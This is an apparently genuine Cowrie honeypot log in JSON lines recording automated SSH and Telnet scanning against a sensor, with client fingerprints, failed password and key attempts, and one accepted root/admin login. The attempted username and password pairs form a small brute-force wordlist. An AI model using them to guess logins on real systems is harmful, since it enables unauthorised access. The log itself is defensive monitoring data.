{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cd:8b:1c:d2:40:20:5b:89:a6:cc:d7:9a:d5:04:8c:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5CZ/cD1H2ciZ/OYI5b1Ho+n383ofVYTL6s1l6y+68wuXMDL4Z/eje6JdaVA6tTsETwgRNOTSiPJHX2OEI6S1BJRkKsEVi9yhW5VBeWLUfIKHT8+DA6CIWrnv857HtZm3xJC615U3s31AHg7QqoWA/HjgpHM9PW9HBAD1KqAXu7P4ZZAkWFtUK5MVcebLxw+NDbrlPOs7p+eNsazVSo8hPPjs6XHZ02d2zcIYjAdpDhxO9zioprmQykZDBFyZO8RzGzBsF2FMSILPRT6CFftZZeon1Rk7ycjLee+bgnmQ79EstlaStdTkEOHP9FI9LIXvcxsL9/yOwoR29BSu/Qi/lQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:03.422798Z","src_ip":"212.192.216.2","session":"b26904aa76c8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:dc:01:7f:b5:be:08:78:bd:1e:a9:fc:d5:a0:c2:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyno9y+arOjmjZg9jTFksg6yOc+n9lWp0fHDqqsH5i818cJP+w0ZMx/L7nJnxAzx2mITbqrelDQAzbqdhyi/I4breWzHbSKoPqeqxVrw0hRvg0QrIJQVjNOLZvjZGRbjqw2AtW0EWwevj3LKzJ+j1janZ0FNeXVxCL/dDQuwGB9Cqu8SKJtrE6qSx5WxWTdYqR+MaKkkRIeg2RIhSFhlmKR6MSGYtsRAIoeZ5cPQGAxpbdmrB8O3Y4lknMGniYRgdfpQccq8C1ltdVmpfF1e9FnxjsW0T/XRrQ0bn3KZd8Q4Sw3taVjVdEvTjL58HBFCfdMi23HhqhkS89N93W84pB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a3:dc:01:7f:b5:be:08:78:bd:1e:a9:fc:d5:a0:c2:05","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:03.505212Z","src_ip":"212.192.216.2","session":"b26904aa76c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:dc:01:7f:b5:be:08:78:bd:1e:a9:fc:d5:a0:c2:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyno9y+arOjmjZg9jTFksg6yOc+n9lWp0fHDqqsH5i818cJP+w0ZMx/L7nJnxAzx2mITbqrelDQAzbqdhyi/I4breWzHbSKoPqeqxVrw0hRvg0QrIJQVjNOLZvjZGRbjqw2AtW0EWwevj3LKzJ+j1janZ0FNeXVxCL/dDQuwGB9Cqu8SKJtrE6qSx5WxWTdYqR+MaKkkRIeg2RIhSFhlmKR6MSGYtsRAIoeZ5cPQGAxpbdmrB8O3Y4lknMGniYRgdfpQccq8C1ltdVmpfF1e9FnxjsW0T/XRrQ0bn3KZd8Q4Sw3taVjVdEvTjL58HBFCfdMi23HhqhkS89N93W84pB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:03.508628Z","src_ip":"212.192.216.2","session":"b26904aa76c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:03.593674Z","src_ip":"212.192.216.2","session":"b26904aa76c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.66.42","src_port":37284,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb09935bdda4","protocol":"ssh","message":"New connection: 167.86.66.42:37284 (159.203.135.109:22) [session: cb09935bdda4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:08.030098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:08.034359Z","src_ip":"167.86.66.42","session":"cb09935bdda4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:08.128587Z","src_ip":"167.86.66.42","session":"cb09935bdda4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ascendex","password":"ascendex789","message":"login attempt [ascendex/ascendex789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:08.417688Z","src_ip":"167.86.66.42","session":"cb09935bdda4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:09.516890Z","src_ip":"167.86.66.42","session":"cb09935bdda4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":37426,"dst_ip":"159.203.135.109","dst_port":22,"session":"edd2e2e4fefc","protocol":"ssh","message":"New connection: 103.176.20.57:37426 (159.203.135.109:22) [session: edd2e2e4fefc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:10.439997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:10.443874Z","src_ip":"103.176.20.57","session":"edd2e2e4fefc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:10.686875Z","src_ip":"103.176.20.57","session":"edd2e2e4fefc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"100792","message":"login attempt [root/100792] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:11.413465Z","src_ip":"103.176.20.57","session":"edd2e2e4fefc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:12.656062Z","src_ip":"103.176.20.57","session":"edd2e2e4fefc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":45636,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a82092600f6","protocol":"ssh","message":"New connection: 159.65.58.200:45636 (159.203.135.109:22) [session: 6a82092600f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:36.890780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:37.025366Z","src_ip":"159.65.58.200","session":"6a82092600f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:37.028649Z","src_ip":"159.65.58.200","session":"6a82092600f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stalker","password":"123456","message":"login attempt [stalker/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:37.909749Z","src_ip":"159.65.58.200","session":"6a82092600f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:39.128595Z","src_ip":"159.65.58.200","session":"6a82092600f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":38498,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3b566806be5","protocol":"telnet","message":"New connection: 137.184.5.188:38498 (159.203.135.109:23) [session: f3b566806be5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:19:58.098169Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.177.22","src_port":38842,"dst_ip":"10.17.0.5","dst_port":22,"session":"2eba9d4ef453","protocol":"ssh","message":"New connection: 162.241.177.22:38842 (10.17.0.5:22) [session: 2eba9d4ef453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:20:14.297096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:20:14.301423Z","src_ip":"162.241.177.22","session":"2eba9d4ef453","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:20:14.332049Z","src_ip":"162.241.177.22","session":"2eba9d4ef453","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"polkadot","password":"polkadot123","message":"login attempt [polkadot/polkadot123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:20:14.418613Z","src_ip":"162.241.177.22","session":"2eba9d4ef453","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:20:15.449532Z","src_ip":"162.241.177.22","session":"2eba9d4ef453","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":41608,"dst_ip":"159.203.135.109","dst_port":23,"session":"428b53ed9341","protocol":"telnet","message":"New connection: 137.184.5.188:41608 (159.203.135.109:23) [session: 428b53ed9341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:20:19.808046Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.182","src_port":2354,"dst_ip":"159.203.135.109","dst_port":22,"session":"95ed89935d7e","protocol":"ssh","message":"New connection: 65.49.1.182:2354 (159.203.135.109:22) [session: 95ed89935d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:20:24.465832Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003>\\xf7\u0014\\xf2\\X\\xf64\u0016\\x8ci\\x87\\x9aP\\x87\\xc2X\\xc6\\xde\\xc8\u0010\u001aKo\b\\xf5\\xd4y\"@\\xf24\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003>\\xf7\u0014\\xf2\\X\\xf64\u0016\\x8ci\\x87\\x9aP\\x87\\xc2X\\xc6\\xde\\xc8\u0010\u001aKo\b\\xf5\\xd4y\"@\\xf24\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:20:24.491243Z","src_ip":"65.49.1.182","session":"95ed89935d7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:20:24.494805Z","src_ip":"65.49.1.182","session":"95ed89935d7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.152","src_port":6088,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6ff4e791f00","protocol":"ssh","message":"New connection: 65.49.1.152:6088 (10.17.0.5:22) [session: c6ff4e791f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:20:27.302482Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:20:27.306134Z","src_ip":"65.49.1.152","session":"c6ff4e791f00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:20:27.311959Z","src_ip":"65.49.1.152","session":"c6ff4e791f00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":56260,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0a3e146f051","protocol":"ssh","message":"New connection: 103.153.68.219:56260 (159.203.135.109:22) [session: f0a3e146f051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:20:48.854375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:20:48.858020Z","src_ip":"103.153.68.219","session":"f0a3e146f051","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:20:49.109513Z","src_ip":"103.153.68.219","session":"f0a3e146f051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rjvgfybz","message":"login attempt [root/rjvgfybz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:20:49.864762Z","src_ip":"103.153.68.219","session":"f0a3e146f051","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:20:51.119766Z","src_ip":"103.153.68.219","session":"f0a3e146f051","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.062402963638306,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:20:59.870301Z","src_ip":"137.184.5.188","session":"428b53ed9341","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":34542,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fa1774f5e33","protocol":"ssh","message":"New connection: 91.92.40.176:34542 (10.17.0.5:22) [session: 1fa1774f5e33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:20:59.971863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:21:00.228320Z","src_ip":"91.92.40.176","session":"1fa1774f5e33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:21:00.233425Z","src_ip":"91.92.40.176","session":"1fa1774f5e33","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:21:02.012972Z","src_ip":"91.92.40.176","session":"1fa1774f5e33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.11465239524841,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:21:02.212697Z","src_ip":"137.184.5.188","session":"f3b566806be5","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:21:02.929945Z","src_ip":"91.92.40.176","session":"1fa1774f5e33","protocol":"ssh"}
